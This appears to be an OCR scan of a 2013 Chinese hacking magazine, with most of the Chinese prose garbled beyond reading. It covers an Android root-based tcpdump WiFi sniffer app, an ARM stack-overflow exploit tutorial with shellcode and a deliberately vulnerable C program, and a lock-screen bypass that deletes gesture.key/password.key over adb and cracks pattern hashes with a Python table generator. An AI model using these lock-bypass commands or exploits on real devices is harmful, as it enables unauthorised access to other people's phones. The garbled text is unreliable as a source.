Xt Android T-HLI Wifi 255 MR R TaER . 8k r/ N T H.

J5R 25 LA
1. Wifi JE5 00 2% R ) e SR 2

HfrimniE, fEp BT Lo AR A BRI IEEIL L S AR B,
SEHLAZ D RE 0 doe (] ST VR AU K A 2% 2% A B MR, ANIMAETS i #% B R 22 A %

AMIEIES T THL L Wifi a3t SIEARLL R Wi Ao B AER] (999 - 28t T HLI
GPRS/3G HHLE AT, 1o M -RA G WM, PO B A& R, A 1

IMAE PCF&E N, REUM-K EEHM TREZ, HrhDigeirk B2 T# 43 Android ~F
& LI IR T TCPDUMP. TCPDUMP fu i 52 B & Pl i 4 AR Al SR 00, iy 11k 308
IP g, H e Phised e ak A 728k 3, [H, TCPDUMP i3k 5t LL peap & XAk, AT
JE 3R I T T Wireshark #EAT 2087 Kb, FeAl T 75 LA wlt /20K TCPDUMP T -
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B A 2] Android &, IR LLER TAE.
2. Android RZFHFF & NDK 7 INI FiA

FAVHEE, Android R N HRETLL APP ERBEME, T Java iS5 TR, 4
RUAAE X m PR UF () TCPDUMP FJp A4 SHO L R i) 7 g i IR 4, Ll
SRS INIEOAR, B Java AHb il Fl——if it Java 7% 1) Android APP Rk . $dTA
HiFE > TCPDUMP, M SEIE Wifi £ 2 £ (1) e i -

NDK “4:Fx Native Development Kit, JH K2 fLVFH 7l FHZRAL CIC+H+ 2 21 it AR A LAY
B E AT TRT . FATTLUH NDK JF & —/N3ha i % Nativetask.so, ihILHAT 24 R

eSS
AT SEILAR I 2 PR, Rt AT o b .
VERARE
WifiDump. _ | NativeTask
apk g .SO
< 2

1. NatvieTask.so fFJFF %

1) NativeTask 3&

FETFURTT R 20T, AT S —AS Android N T & [F A T FE——Helloworld. £ T
FErP 8 N2 NativeTask, %287 185 X T NativeTask.so shA&8ER: 2 5 S H i o8 B AR &
WA AL X B A RER R (R N4, SRR .

package com.example.helloworld;
import android.util.Log;
public class NativeTask {
public static final String MSG_TAG = "NativeTask";
static {
try {
Log.i(MSG_TAG, "Trying to load libwtnativetask.so");
I1N#Eh A4 % NativeTask.so
System.loadLibrary("nativetask");
¥
catch (UnsatisfiedLinkError ule) {
Log.e(MSG_TAG, "Could not load libwtnativetask.so");

HACKER DEFENCE 51



Android I 2 I5I=H K

}

1175 B35 25 M\ Nativetask.so H1 I8 FH 1) e85
IFAT R Gt %

public static native int runCommand(String command);
R DRERIREY

public static native String stringFromJni();

2) & NativeTask.so
4 T ik NativeTask 28 1] LUin# NativeTask.so, FeAi 175 ZER4 INI A=/ 5 NativeTask ZSAH
VCHC 1) Bh A BEFL 1R Sk SCF, - HARWT DAGn R 5E i

~$ cd workspace/helloworld/
~$ mkdir jni
helloworld$ javah -classpath bin -d jni com.example.helloworld.NativeTask

M FIAPER, RIATAE INE H s T AE RS S0 com_example_Helloworld_NativeTask.h,
HA®EL&HBE . AN HHRE LT mE X, E St
com_example_HelloWorld_NativeTask.c = SZELAH N (1) eR ZHP T

#include <jni.h>

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <unistd.h>

#include <sys/system_properties.h>

#include "com_example_helloworld_NativeTask.h"

JNIEXPORT jstring INICALL Java_com_example_helloworld_NativeTask_stringFromJni
(JNIENnv *env, jclass class)

{

return (*env)->NewStringUTF(env, "Hello, this is from jni!");
¥
THAAT A 1 13K R i

JNIEXPORT jint INICALL Java_com_example_helloworld_NativeTask_runCommand
(JNIEnv *env, jclass class, jstring command)
{

const char *commandString;

commandsString = (*env)->GetStringUTFChars(env, command, 0);

AT %

int exitcode = system(commandString);

(*env)->ReleaseStringUTFChars(env, command, commandsString);

return (jint)exitcode;
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7E5¢ % NativeTask.so FIBh g2 )5, #: T k5¢ K MakieFile S {f-——Android.mk.

LOCAL PATH := $(call my-dir)

include $(CLEAR VARS)

LOCAL MODULE := libnativetask

LOCAL SRC FILES := com example HelloWorld NativeTask.c
#LOCAL SHARED LIBRARIES := libcutils

include $(BUILD SHARED LIBRARY)

LR, BT TAEC 58, 7 Helloworld Hx#4T ndk-build 4>, BIATAE B AH Y 1)
libnativetask.so Xf}#] “libs/armeabi/libnativetask.s0”,

2. Android N2 : WifiDump ZE/AHEZE ) SEIR

WifiDump HEAR APP P27 A di: T 8BR EARF MR AT Activity B
helloworld ; HTSLUFTA WifiDump MIRERINC E#AEN) PacketDump 2. I 73
i

1) SEIFEAEBRAER) PacketDump 2K

N PacketDump HFRIAH < R BGIAT A4 o ST SEAl p8 BGIEAT U I S R iE RS S B
# “beginDump” 1 “stop” #E4T4 .

OFLME T B2 root #7772 hasRootPermission.

private boolean hasRootPermission() {
boolean rooted = true;
if(lisFileExist("/system/bin/su"))
if(lisFileExist("/system/xbin/su")) rooted = false;
return rooted;

@IBATEAR R G S runCommand. HH W ESJH ) NativeTask. runCoummand H
NativeTask.so K, Wi EZ&ENH.
//LA root ALIRIZAT 172>

private void runCommand(String command){
NativeTask.runCommand("su -c \""+command+"\"");

QM RAEECAFBLR 17757 chmod.

/ MEBHRE A HIRLR
private void chmod (String filePath, String permissionMode) {

runCommand ("chmod "+permissionMode+" "+filePath);

@HIWr SD R A UEAR LA 11 J51% hasSdCard. VERE, EATEMNIA Demo 1, gk 214K
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P B3] SD R pacp/ HKN, W LW SD a2 fmles, H 44y APP Vs AR
“android.permission.WRITE_EXTERNAL_STORAGE”,

//FIRTRSH sd R
public static boolean hasSdcard() {
String status = Environment.getExternalStorageState();
if (status.equals(Environment.MEDIA MOUNTED)) {
return true;

} else{ return false; }

O Y5 th AT X 4 i1 ) TCPDUMP B HY K i 777 dropFile.
TEFEFHELE T, O T 834 BT (Y TCPDUMP 3T 45,51 APP 1, Fedl 175244 3L 753 helloworld
TR assets Hakrb, 258 dropFile ml ¥ HB A 52 H =%,

I STAT A 5t R TR
private void dropFile(String dstFilePath, String resFilename){
InputStream inputFsS;
try {/HT oS A
inputFS = mainAct.getResources().getAssets().open(resFilename);
} catch (IOException el) {el.printStackTrace(); return;}
I i SCAF
File outFile = new File(dstFilePath);
byte buf[] = new byte[1024];
int len;
try {

OutputStream outputFS = new FileOutputStream(outFile);
while((len = inputFS.read(buf))>0) {outputFS.write(buf,0,len);}
outputFS.close(); inputFS.close();
chmod(dstFilePath, "0755");

} catch (IOException e) {
return ;//"Couldn't install file - "+filename+"1";

}

return;

©¥% TCPDUMP % 3| R4t H 5K installFile.

XHEFERZNAW S —2REE T root R, HBA—2EHEAXT system H %M
BUR R, B m i ok system Hat, DUR TSR R: mount -0 remount -0 rw
Isystem; JEREITI SCAEA— 2 A AT HATAR, M EE S chmod 138 755 AR . H
RSEILGTE

BN 22256 tepdump SCAF
public String intallFiles()
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String tmpDir = mainAct.getApplicationContext().getFilesDir()+"/";

String tmpPath = tmpDir+tcpdump;

String dstDir, dstPath;

I 275 2.4 Root

if(ThasRootPermission())

return "Permission denied!";

11 tepdump JECE 211k N H 5%

dropFile(tmpPath, tcpdump);

¥ tcpdump At /system/bin H 5% F**/

/lchange the permission of "/system" directory

if(isFileExist("/system/bin/mount™) |lisFileExist("'/system/xbin/mount™)){
HUAW] SRR FFr £ System H 3¢
runCommand(“"mount -0 remount -0 rw /system");
dstDir = "/system/bin/";

Yelse
IIsystem/bin AT, LK tepdump i El/data
dstDir = "/data/";

dstPath = dstDir+tcpdump;

I CAFAE R SCAT

if(isFileExist(dstPath))
runCommand("'rm "+dstPath);

IR 8 SCAE 2 H b H 2%

runCommand("'mv "+tmpPath+" "+dstPath);

IR ¥ BLBR

chmod(dstPath, "0755");

tcpdumpPath = dstPath;

return “tcpdump i\ %%% 2" +tcpdumpPath;

O B SO A7 it 15 prepareDataPath.
AR B AR LEAEAE SD K peap H3F, XL “4F-H-H_#f-4r-Fb.pcap”
7 R 4

e 28 B S AT
public String prepareDataPath(){
String path = null;
String tmpDataPath;
if( hasSdcard() == false)
tmpDataPath = Environment.getDataDirectory().getPath();
else
tmpDataPath = Environment.getExternalStorageDirectory().getPath();
if(tmpDataPath == null)
return "R AEHR 250 B A i AR T
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File filePath = new File(tmpDataPath+"/pcap/");
if (filePath.mkdirs() || filePath.isDirectory()){
path = tmpDataPath+"/pcap/"+getCurrentTime()+".pcap";
}
dataPath = path;
return "5 A7-fif b " +dataPath;

@ F 2L J774 beginDump.

beginDump s&$EMt25 helloworld ZSIA 11777, HSECEHE ik pE2s 2/ . 1%
TTEAE N TR SE BBt T —ANERRE, T 1T A3k . 262 myThread F1 beginDump 11 5
PRSEILGTT

AT Bl i 3R K B A2
class myThread implements Runnable {
public void run() {
runCommand(tcpdumpPath+" -w "+dataPath+" "+ProtocolFilter);

}
public int beginDump(String strFilter){

int retCode;
if(tcpdumpPath == null)
retCode = 1; //RRERI)Z%E tepdump
else if(dataPath == null)
retCode = 2;// K ReFk 25 G B At AT, TE I ORA T H AT A7 it
else{
ProtocolFilter = strFilter;
new Thread(new myThread()).start();
retCode = 0; //TF U147
}

return retCode;

O1F 1 H 3R A J7 V% Stop.

{5 1A A LB A Kill w4 M1 el myThread 384758 K 1) tepdump BERE . HAR AT
F “ps | grep tepdump” #&H T tepdump BEFE(E S, T split e £03R15 pid, T “kill pid”
%M tepdump..

151k
public String stop(){
IGRBGERE S
String tmpDir = mainAct.getApplicationContext().getFilesDir()+"/";
String pidFilePath = tmpDir +"pspid";
runCommand("ps | grep tcpdump > "+ pidFilePath);
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if (false ==isFileExist(pidFilePath)){
return null;
}
File pidFile = new File(pidFilePath);
String tmpstr =",
String strArry[];
try{
InputStream pidIS = new FilelnputStream(pidFile);
BufferedReader bf = new BufferedReader(new InputStreamReader(pidIS));
while((tmpstr = bf.readLine())!=null){
strArry = tmpstr.split("\\s+");//
runCommand("kill "+strArry[1]);
}
}catch (Exception e){
return null;

}
return " s O AF % 2" +dataPath;

3. ATH#EAZEK helloworld 3§

helloworld 25/ % MainActivity, k& T Activity, oK B2 (EERIAZ H.. A Demo
PR “TFUR” “A51b” $, b B RoR48on (5 B Toast 28,  FIITE4IN2H.

1) Activity FI¥T1%5 4L EREL onCreate

7t onCreate PRI = ELHAT ERAE A 22 2¢ tepdump SCAF, H14R4E Button 55 .

/ /T3 tepdump A

PacpDump = new PacketDump (this);

msg = PacpDump.intallFiles();

showToastMsg (msqg) ;

/ /¥IEA but ton &%

startCap = (Button)findViewById(R.id.buttonStart);
stopCap = (Button)findViewById(R.id.buttonStop):;

//WE ClickListener

startCap.setOnClickListener (new OnClickListener () {*});
stopCap.setOnClickListener (new OnClickListener () {:});

2) X‘j‘ “ﬂ:ﬁ/ﬁ’” %D “ﬁlt” ?ﬁﬁlﬁq%ﬁ:ﬂﬁ&
Starcap $%4L1#) OnClickListener fA4 a1 T

new OnClickListener () {
@Override
public void onClick (View v) {
int errCode; String errMsg;

if (!bRunning) {
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HMEAEAEL

errMsg = PacpDump.prepareDataPath () ;
showToastMsg (errMsqg) ;
/ / THRATAL
errCode = PacpDump.beginDump (HttpFilter);
YA TXS /N s
switch (errCode) {
case 0: errMsg="J&IIZ1T!";bRunning = true;break;
case 1: errMsg = "ARAEMNINEEE tepdump! ";  break;
case 2:errMsqg = "ARAEEHBGIEHIEAA AT, IEFRA AT
break;
default:errMsg = "ARFMPER! ";
}

}else{errMsg = "C&{EEBITH~~";}
showToastMsg (errMsg) ;
/ /MG AEHIR S

if (bRunning) {

startCap.setEnabled(false);
stopCap.setEnabled (true) ;

Stop #4117 OnClickListener XS U1

new OnClickListener(){
@Override
public void onClick(View v) {
String errMsg;
if(bRunning){//stop the thread
errMsg = PacpDump.stop();
if(null == errMsg){

showToastMsg("{&= 1Lk ™),

Yelse{

¥
Yelse{

bRunning = false;
showToastMsg(" il 15 11");
showToastMsg(errMsg);
startCap.setEnabled(true);
stopCap.setEnabled(false);

showToastMsg(" L& = AMEE 1! ™),
startCap.setEnabled(true);
stopCap.setEnabled(false);
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SERFIIR

THE L ACHS, FEAS bt n] AR A H — M) Wi S B RR T H T . K,
A THATSZ BRI, R854 HTC G10, Android 2.3.4, MIUI.

FHL BTG Wifi #5217, JFnEdE G, WK 3. 4. 5 Bior.

B/ & @ N E gl @O 11:34 .m@o@ O E Il m ® 11:35 i S @ b E gl em O 11:35
HESEEAAR Wifi Dump m

USB #7%E

{EHEL WLAN #hsR

{E#E WLAN #SigE

Wifi DumpIEFE 2= ER R4 ROOT X
E 2 LHEIRIFRTREF =L fBPE , RERIFAIIRIR

v FRAFEE

i) =l A i 1545

tcpdump B & 2% Zll/system/bin/tcpdump WERIETF & J:/mnt/sdcard/
pcap/2013-03-13_11-35-28.pcap

3 FRwifl AERE  [E 4 5T WifiDump 25 B 5 Fiaith
ENTFHLIE AN WIfi #4 “wifi dump”, FEAT R TN S A, 2 a1 ISR A,
S HRAE, W 6. [ 7. [ 8 i

B 6 @ N E O 11:37
Wifi Dump

#3E B TFfidE]/mnt/sdcard/
pcap/2013-03-13_11-35-28.pcap

$ adb shell
# 1s /mnt/sdcard/pcap/ -1
total 32
---xrwxr-x 11000 1015 16291 Mar 13 03:37 2013-03-13_11-35-28.pcap

Kl 6 15 IE i e @7U$ﬁﬁmﬁﬁi#

-

I:JI-:*I ] "I: -“' ['I rl —..,."I.

1

K8 Hleldis JRAPKRT-HL SD R 2 Uik E B Hcdfs )
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8 00 x| Follow TCP Stream
Stream Content

GET / HTTR/1.1

Host: www.baldu.com
Connection: keep-alive
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%*/*;q=0.8

User-Agent: Mozilla/S.0 (Macintosh; Intel Mac OS X 10_8_2) AppleWebKit/537.22 (KHTML, like
Gecko) Chrome/25.0.1364.172 Safari/537.22

Referer: http://baidu.com/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;g=0.8
Accept-Charset: GBK,utf-8;g=0.7,%;q=0.3
Cookie:

EEROAAARARAALAA S B
AAAARAAAAAAA|

SvY 2gwc3RpY 2t Z Xz AwNwAAAAAAAAAAARAAAAARAAAAAAAAAAAAAAAAALANAARAAAAARAARAAAA,

HTTP/1.1 200 OK

Date: Wed, 13 Mar 2013 03:35:46 GMT

Server: BWS/1.0

Content-lLength: 4289

Content-Type: text/html;charset=utf-8

Cache-Control: private

Explres: Wed, 13 Mar 2013 03:35:46 GMT

Content-Encoding: gzi

Set-Cookle: H_PS_PSSID=1440_1945_1788; path=/; domain=.baidu.com
Connection: Keep-Alive

Entire conversation (1356 bytes) - |

7 Find | ESave As | =4 Print ‘O ASCIl O EBCDIC O Hex Dump ©Q C Arrays @ Raw

H Help [ Filter Out This Stream | ¥ Close
9 M wireshark Xt E s AT 704

B

ARFEFTCPDUMPSEIL T — M Wifidlea Hefitk T H, 12 THIR Bt T BN RIERIS g% 1,
AR B E Helloworld S HttpFilter A SK B AN PR TPy B A5 ) R G 1 3, [R]Is m)
LA 5 K Ry Wireshark 7341 T H0 Bdfs (kAT 704, TR RIFARI DI RESR K o

2T ARM “FHH EXPLOIT B

I Y

PIAERT I T Z 2P kO, TR IR . TSR A, FEAH
FET N HZR 25T B Android R4 JEIIEHTTHE, PG N 1B HoAR AT &
Ji€ o N ERIB X T E A AT AR ARV T, BB BT T AAEDE Linux K2
BT W RIS o

H AT 2 B FILRGALIZITE ARM 6 N, 165 X86 AITAR, X86 T XL
AR AR, BRI BT EA B IE R IZITE ARM SF 5~ N
F 2N ARM T 5 T 1 exploit AR AT 7] 25047

HARATAE T TR, T2 s X TR

arm—none—linux—gnueabi-as

arm—none—1linux—-gnueabi—1d

arm—none—1linux—gnueabi—ob jdump

arm—none—1linux—-gnueabi—gcc

arm—none—1linux—gnueabi—gdb

#E£& shellcode
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B BATFTE WA — B A 1) shellcode, 475 FFHEHL shellcode &2 L IEREMF B,
] LR AR IE TS — B, G BT BT SO e P BOL s . IS NG RE, AT
I gnis 5 2 LU RS 1. FIAILgE S5 — BUTEV AR R .

#thello—arm. s
.section .text
.global _start

_start:
mov r2, #9
mov rl, pc
add r1, #24
mov r0, $0x1
mov r7, $0x4
svc 0
sub r0, r0, r0
mov r7, $0x1
svc 0

.ascii "arm exp\n"

1 dr4 “arm—none—linux—gnueabi-as —o hello—arm. o hello—arm. s” FATHi1E, &
A % hello—arm. o L, 4R 5 A 4y & “ arm—none—linux—-gnueabi-1d —-o hello—arm
hello—arm. o” #EAT4ER:, 24 Rhello—arm X {F. hello—armii Z2ARM: 4 FLinux RS AT
PATICAF . KREHHNIE, Android RG] LUZAT TARMY & Jf HIR)Z 2 Linux W1, PRI EK
TR LA Android SDKH AR REAULEEAT It

1 FADB i 2 SCA_E AL R AndroidE N Fiady, BARDIRI T

AR RN/ dev H, FH 4% “adb push hello—arm /dev/hello—arm”, #R)5
1FH “adb shell” FFjashell, #EAdevH 8 S SR “chmod 777 hello—arm”, 4T
PP AT WA —VNER » RS mE 1R .

C:\Windows\s;stgms 2\cmd

chmod 777 hello—arm
##t ./hello—arm
.7hello—arm

arm exploit.
bid

K1
Yoo ow BLOIE W AT . R E W LL 42 HL shellcode T . A AT iy 4
“arm-none-linux-gnueabi-objdump -d hello-arm” & 4id54 LHLAHS, S 2 E 2R
(125 o
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g CA\Windows\system32\em

D:varm—exprarm—none—linux—gnueabi—obhjdump —d hello—arm

.hellu—arn: file format elf32-littlearm

Dizassembly of section .text:

BEEREE54 {_start>:
86854 : edaB2iéid rZ,. #13 ; Bxd
8858 : eladlBBf rli,. pc
885¢c: e28116918 i, »i,. #24
&06A@: e3daBBBal B, #1 ;5 Bxi
8064 : edaB?B@A4 7. #4  ; Bxd
8068 : ef ABAAAA BxARAABAAA
806 : eA486060A rA. »A,. rA
&@7aA: e3daB?@a1 7. #1 ; Bxd
8874 : ef ABAAAA BxARAABAAA
8878 : 286d7261 . Bx286d7261
807c: 6c7A7865 . Bxbc7A7B605
&@8A: 2e74696f . Bx2e?4696f
8884: Ba . BxBa

K2
Z Rl ML A 444 Jyshellcode, QAT -

"\x0d\x20\xa0\xe3"
"\x0f\x10\xa0\xel"
"\x18\x10\x81\xe2"
"\x01\x00\xa0\xe3"
"\x04\x70\xa0\xe3"
"\x00\x00\x00\xef"
"\x00\x00\x40\xe0"
"\x01\x70\xa0\xe3"
"\x00\x00\x00\xef"
"\x61\x72\x6d\x20"
"\x65\x78\x70\x6¢"
"\x6f\x69\x74\x2¢e"

1747 I shellcode LA £ Ji5 T4 H

ARG S — BAT I AR, AR

#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
char shellcode[] =
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"\x0d\x20\xa0\xe3"

"\x0f\x10\xa0\xel1"

"\x18\x10\x81\xe2"

"\x01\x00\xa0\xe3"

"\x04\x70\xa0\xe3"

"\x00\x00\x00\xef"

"\x00\x00\x40\xe0"

"\x01\x70\xa0\xe3"

"\x00\x00\x00\xef"

"\x61\x72\x6d\x20"

"\x65\x78\x70\x6¢"

"\x6f\x69\x74\x2e";

void

bof(void)

{

FILE *fp;

char fname[] = "file.ov";

char buf[256];

fp = fopen(fname, "r'");

if (fp) {

fprintf(stderr, "can't open fname '%s'\n", fname);

return;

}

memset(buf, 0x0, sizeof(buf));

fread(buf, sizeof(char), 512, fp);

}

int

main(void)

{

mprotect((void *) ((unsigned int) shellcode & ~4095), 0x1000, PROT_READ |
PROT_WRITE | PROT_EXEC);

bof();

return O;

¥

XAMEFARF L, 0] AE bof B b, buf K/ Ky 256, 4%d KT 256 Il & v
i pe fREF 2R, 33 shellcode $44T .

SegmiFRL, ] “arm-none-linux-gnueabi-gcc -Wconversion -Wall -W -pedantic -ansi -g
-ggdb -static -0 arm_bof bof.c” fix 2 AT 4, IA A SO L& NI IE AT &
A2 s arm_bof SCHF, ¥ % SCHF EAE R dev H ok, BESBRIFI2AT, o LUR 2R A F file.ov
A

TXI AT ARG DAL E —A file.ov SCHRAIIXANFEF G X, NTHVEAE T
HARE R AR
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U\%IT?EP—IU\%EH B SR file. ov UM, ARJEREEA LN buf W, FEEE I
Holfer= A X i, MR ZH shellcode fUHhETE 5 3 pe FEF %7788,

B GRS shellcode [yHihl, a4 “arm-none-linux-gnueabi-gdb -q arm_bof” JT-4f
PR, M1 “p &shellcode” €A shellcode Mk, MK 3 rhr]E ik k) 0x81e98, id
Huhik DA% J5 i #4) i file.ov {1 A .

D:sarm—exprarm—none—linux—gnueabhi—gdh —q arm_hof
Cgdh>» p &zhellcode

51 = ¢{char (=>[491> BxB1e978
Cgdh>» g

Kl 3
N IDA in# arm_bof 34, A F bof %, Wik 4 Fron, o LU HWES A 0x110
TFUf A& FRAT 1B 25 b 7
£ 104 - Drorm-exp o I

Ele Edit Jump Search View Debugger Options Windows Help
QE A BB ) o A A FF X P D D[ e

E Functions window IDA View-h (2] | D Hex Wiew—& | | @ Struet
Function name - W 3
f| call_gmon_start
f| _do_global_dtors_aux
f| frame_dummy ; Attributes: bp-based_frame
| bof
i main , 3 EXPORT bof
F| _libc_csu_fini
, o bof
F| _libc_csu_init
i -tE”’”—F'““ s= -8x118
£ abort_GLIBC 24 filename= -8x10
F| _libc_start_ main_GLIBC_2.4 ctrRalEs
f| _aeabi_unwind_cpp_pr0_GCC_3.5
J | fopen_GLIEC 2.4 = STHFD  SP?, {R11,LR}
L - [ —— SITRS, T A
Il T 3 ADD R11, 5P, #4
Line 14 of 36 sup SP, |SP, #ox11@
LDR R3, =aFile_ov ; "fFile.ou"
H8, Graph overwiew g X SUB R2, R11, #-filename
H I : LDHIA R3, {ROB,R1} ; "File.ouw"
: STHIA R2, {RO,R1}
SUB R3, R11, #-filename
........................................... HOU RO, R3 - filename
LDR R1, =unk_B668 ; modes
BL fopen
K 4
405 exp

H T m# A B shellcode Hudik, FolH it —A file. ov, RifwFe ik Ak £
7 354 shellcode Hudik o

fiFH C32asm #4i& w1&] 5 Tz (0 S04, ARG H 1% S B4R & dev H 3k, FRHRGZAT arm_bof,
W R, #0047 shellcode, #HrHFTENE B, WKl 6 s
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bub TRE(F) HRB(E) HE(S) TB(W) I ER(A) BAW)  EEH)
B i Iy = S G = E
bbbl Enjoy C323sm bl {HEx}f“E-DV‘

fO068A6AA:) 41 41 81 81 41 31 41 31 831 81 41 41 41 31 31 11 EHHHHHHHHHHHHHHH
GO8806108:( 41 41 41 41 41 41 41 81 41 81 41 41 41 81 31 41 ARAAARAAAAAAAAAA
000086208:) 41 41 41 41 41 41 41 81 81 81 41 41 41 81 81 11 AAAARAARAAAAAARARRA
B0880630:( ¥1 41 1 31 41 31 41 81 31 31 41 41 41 31 31 41 ARAAARARAAAAAARA
00068848:) 41 41 41 41 41 41 41 41 81 81 41 41 41 81 81 11 AAAARAARAAAAAARARRA
GO880a56e:( 31 41 M1 M 41 M M M M ¥ o3 M M 1 M ARAAARAAAAAAAARARA
000688682 41 41 41 41 41 41 41 41 81 81 41 41 41 81 41 11 AAAARAARAAAAAARARRA
aaeeea7az 41 41 31 41 41 41 41 31 41 41 41 41 41 41 31 11 AAAAAAAAAAAAAAARA
GO080680:( 41 41 41 41 41 1 M1 81 M B 41 41 41 3 M1 4 ARAAARAAAAAAAAAA
0086889082 41 41 41 81 41 41 41 31 81 81 41 41 41 31 31 11 AAAAAAAAAAAAARARARA
GO0806A6B:[ 41 41 41 41 41 41 41 41 41 81 41 41 41 31 31 41 ARAAARAAAAAAAAAA
000086B8:) 41 41 41 41 41 41 41 81 81 81 41 41 41 81 41 11 AAAARAARAAAAAARARRA
BO8806CO:| ¥1 41 1 431 41 31 41 81 31 31 41 41 41 31 31 41 ARAAARARAAAAAARA
0000880 A:] 41 41 41 41 41 41 41 81 81 81 41 41 41 81 81 11 AAARAARAAAAAARARRA
BO8BOBEG:| 41 41 41 41 41 31 41 81 31 31 41 41 41 31 31 41 ARARARARAARARARA
000688F8:) 41 41 41 41 41 41 41 81 81 81 41 41 41 81 81 11 AAARAARAAAAARARARRA
aaea8188:) 41 41 31 41 41 41 41 41 41 41 41 41 41 41 31 11 AAAAAAAAAAAAAARARA
foeeo116:( 98 1E 88 60 41 M1 1 1 7..AAAA

# chmod 777 arm_hof

chmod 7?77 arm_bof
#t .- arm_hof
-sarm_hof

arm exploit. #

6
Android Ji& )2 % ARG IEAE WK NZE R TH, B RE L 2R E2E .

Android B8 iE

SCIE B g

W AH Android REETFHUE L WA DE, &5 Rp 7B TRl idoh. HR—
TR, LB 7 RERTE, USB IERTHUGEH] adb 3k shell, #HAT i ~ 434 RIW] .

cd /data/system

rm password.key

rm gesture.key

reboot

X2k, password.key Fil gesture.key SCPEFEARAE LB N RBESC/F T . ¥
JLR, IR X ARFRUE gesture.key SCIFA R OCHE, JFHTk i RBFITEIE B . MR AR
gkl BIESUR S, SRS NAE com/android/internal/widget/ 1, T3 grep T F
gesture.key, H8R7E LockPatternUtils.java HH A3 T ficdk, i 1 fios.
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LockPatternUtils.java x r LockPatternView.java

T Y T L T . A - - T e
451 * Generate an S5HA-1 hash for the . Hot the most secure, but it is
452 * at least a second lewel of pr i irst lewel is that the file
453 # iz in a location only readabkle by system process
454 * Bparam pattern the gesture pattern.
455 * @return the hash of the pattern in a byte arra
458 ®f
457 private static bytell List<LockPatternView.Cell> pattern)
453% if (pattern null) f{
459 return null;
480
48l
482 final int patternSize pattern.size ()
483 byte[] res new byte[patternSize];
4844 for (int i Or i patternSize; i-=)
485 LockPatternView.Cell cell rattern.get (i) ;
488 res[i] (bvte) (cell.getRowl() 3 cell.getColumni() ) ;
487 | }
4834 try
485 HMezzageDigest md HMeszagelDigest.getInstance ("SHR-1") ;
470 by md.digest (res) ;
471 retl
47z = catch chilgorithmException nsa)
473 retl
474 -
475 -
47&
a77 =l myivane Snving oenSalnit

K1
B BT AR T e, Android X ETE AR TE ORI BEAS BN, U E AR R
THEIL shal . KEEMSTHE MRS, AR =N, 228, FMARTFERER, FERHA
WA 2 FioR.

AAXAXAXAAAX AEXXIAXAAAAAAKX AEXAXAXAAAAKN

X X bt X bt bt

i input I+ >x plain text, ¥ +—=—=-—-—-—- > xshal encodex

x X x encode X b b

IXXEXARAANX AEEEXAXANAEAEKE AXEEXIXAXNARN
K2

1A, T f# 2] Android IEITEBUNAUE BA—N2818L char pattern[3][3]25 1) — 4
e, T BLILE BB AR SR {012 {012} 4 i . bh B 3, 5 R A kY 1%
\X00\X01\x04\x07 T . Android fGA% x4k 4ot ix A #7530 shal #UgIME, LB ATEA AT LL
fig—A rainbow 5 HH BT AT RENE, B BT s B AN grep Ratnl LA T

| 288 \x81 \x82 |

| Wx83 ‘x84 \x85 |

| \wxB6 \x87 \x88 |
Kl 3

2R R FUR RS S T, HARSEEARRS nT DUE RS . B ERAR MR A, A R s i
FRARREr )8, DO RRUGE IS 25 0 B N A AR R B R R, — 3k 16 Rk,
SE— DRt HIE A D O AU R T4 T 3, KTl writelog s 838 E 1L 1 4425
A hash.db #HRiAJ
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def writelog(tmp, prev):
strings ="
paths = ""
foriin prev:
Xy =i
paths = paths + str(x)+str(y)
strings = strings + key_mapper[x][y]
filehandle.write(paths+" | "+hashlib.shal(strings).hexdigest()+"\n'

IR BATREERR, K 4 2T I/NKTFHLR 2 FEIESIT gesture.key, Root i [1F-#L
H % adb 23R, 0001 11 10 20 21 (47N Ak A, Wil 5 Fios.

xxd -ps gesture.key® hash.db
021 | 3fdd59cf234F9fab05ecdede64f7aff622008a5¢
—root@g0ot3n

-5 1l

4 4

REBDN oo Z = .

=13 30

-'\ FRE®

'.~| £ ig;&

L T a2

K5
2k, Android RGBS IR T, i TR R B, RS RILECSRANT
gk, FEEATAPEBERTE .

(58)

HACKER DEFENCE 67



2013 £ 5 BB Ak AT AR

B2 T 2013 FEHEHHT A REHLE], B o G AR R R, AR 1S B
A AU & A T I R IR Sk X R S B E, TR S A
du_xing_zhe@yahoo.com.cn, B{# QQ: 675122680, #ffiiE 4 =ik, 4 MBSk Wi 52 plom
P, Fam AL 5 5 BRI LS T

1) RETEE
Wi :
W5 NEERT, FUOTIURSIG, #8REMIE & M SRICEHE, FEIEAT.

PR

D) Bz EARBIAE, AR5 FEEIPLES Figtr, ASfT SmartScreen $718,

2) Windows UAC ‘4 B, F27 HBEITI EHIR, BESRIR S8 B .
3) PUATIABFE TR RETCHE R IR IR G B SO

4) fesiid 360 o4 Db ads, IEIKa R B S, B ORY e e 1 SCpF, BasieEse,
H Xuetr. PowerTool I HLIGVE T A B SCAHFFIER

5) %l 360 %A Pt 360 REAE TR

6) FEITERAEL.

7) AT RGEAN T T 24508

8) ZFFAE R4 Windows xp/2003ista/7/2008/8 »

9) VL BT IhRE, REAE 32 AN 64 AL &R SE bl A E

2) ERFEESIRE
AR

Gi'S AR, SRR A BRI, AR HBPEI, SR R
(I SCAERE N T3 50— 301

Bk
1) ¥ Gmail. hotmail. yahoo i IHK. 163, 126.
2) CHFIE WIS 6/7/80/10, BN I KNI V&%,  aRAT A Y 2% .

3) &A% Windows7 UAC
i :

9n'E—MEF, 58 Windows7 UAC #2715, JAah A 4h AR, R R PR 2
AR

PR
1) Windows UAC 4158 B A B i 205
2) RGN T AT BT
3) 3CFF 32 {64 7 R Gt

4) Android Rt 2 SRR L WEP JNE () WIFI 2515
Wi :
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1) Android & 4: N root i 1);

2) BExt WEP s Uy sUREAT I s

3) ] DA FH it 28 A e (1 7 QS 5
4) W] DA% SRR B E A

PR
D ALl G & 07 istTs
2) X1 SD K wifitxt SCAF LB AE 1) H b
3) ARAGM SD | pass.txt SCAF IR S 1) B 0 5
4) filifiRgs 5 N SD & password.txt XA
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2013 fERE B 7S

(FREBTZ) VA —AREARAT, C& 134T« X+ ZFELERIEAR FTRT — AN M %%
ARRIRI R B LR, B IO EOR . BRI . R W 4% 22 A H AR BB IR A AT]
SEIL T 2 HORGEN . TR T (R AERT, A IR A B A& v] LK Iz B R — i &
2.

Bt H:
BRI

TR AN K, Ahd—P) —F okl EENFE PSR 0Day A iwhig, Wil
